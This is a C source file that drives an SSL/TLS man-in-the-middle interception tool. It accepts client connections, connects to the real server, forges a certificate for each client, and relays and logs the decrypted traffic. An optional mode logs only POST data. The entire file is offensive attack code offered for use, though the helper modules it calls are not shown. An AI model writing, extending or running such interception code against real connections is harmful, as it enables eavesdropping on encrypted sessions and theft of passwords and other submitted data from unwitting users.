#include <openssl/ssl.h>

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#include <sys/types.h>
#include <unistd.h>

#include "network.h"
#include "mx509.h"
#include "mssl.h"
#include "log.h"
#include "mitmssl.h"

static void printUsage(char *command) {
  fprintf(stderr, "Usage: %s [options]\n\nRequired Options:\n" 
	  "-c <file>\tFile containing valid certificate and private key\n"
	  "-p <port>\tPort to listen on\n"
	  , command);
  exit(1);
}

static void handleNewConnection(int client, Credentials *credentials) {
  int   server        = NETWORK_connectToServer(client);                             /* Connect to real server         */
//add by 081010 
//509 *fakeCert = MX509_buildCertificateForClientWithoutServer(credentials);
//SSL  *clientSession = MSSL_handshakeWithClient(client, fakeCert, credentials);  /* SSL Handshake with client      */  
//end added 081010
SSL  *serverSession = MSSL_handshakeWithServer(server);                            /* SSL Handshake with real server */
  X509 *spoofedCert   = MX509_buildCertificateForClient(serverSession, credentials); /* Build spoofed cert             */
  SSL  *clientSession = MSSL_handshakeWithClient(client, spoofedCert, credentials);  /* SSL Handshake with client      */
  Log  *log           = LOG_init(client, server, credentials->postOnly);
  
  MSSL_shuttleData(client, clientSession, server, serverSession, log);
  
  SSL_free(serverSession);
  SSL_free(clientSession);
  
  exit(0);
}

static void acceptConnections(int server, Credentials *credentials) {
  for (;;) {
    int client = NETWORK_acceptConnection(server);

    if (fork() == 0) handleNewConnection(client, credentials);
    else             close(client);
  }
}

static int parseArguments(int argc, char* argv[], char** certificateFile, int *listenPort, int *postOnly) 
{
  int c;
  extern char *optarg;
  
  *postOnly        = 0;
  *certificateFile = NULL;
  *listenPort      = -1;

  while ((c = getopt(argc, argv, "p:c:P")) != -1) {
    switch (c) {
    case 'c': *certificateFile = optarg;       break;
    case 'p': *listenPort      = atoi(optarg); break;
    case 'P': *postOnly        = 1;            break;
    default:
      return -1;
    }
  }
  
  if ((*certificateFile) == NULL || (*listenPort) == -1) return -1;
  else                                                   return 1;
}

int main(int argc, char* argv[]) {
  int serverSocket, listenPort, postOnly;
  char *certificateFile;
  Credentials credentials;

  if (parseArguments(argc, argv, &certificateFile, &listenPort, &postOnly) < 0) {
    printUsage(argv[0]);
  }

  SSL_library_init();
  SSL_load_error_strings();

  if ((credentials.middleCertificate = MX509_loadCertificateFromFile(certificateFile)) == NULL) {
    fprintf(stderr, "Couldn't read certificate from %s.\n", argv[2]);
    return 1;
  }

  if ((credentials.middleKey = MX509_loadKeyFromFile(certificateFile)) == NULL) {
    fprintf(stderr, "Couldn't read private key from %s.\n", argv[2]);
    return 1;
  }

  if ((serverSocket = NETWORK_listenOnPort(listenPort)) < 0) {
    fprintf(stderr, "Could not bind to port %d\n", atoi(argv[1]));
    return 1;
  }

  credentials.leafKey  = MX509_buildKeysForClient();
  credentials.postOnly = postOnly;
  
  acceptConnections(serverSocket, &credentials);

  return 1;
}
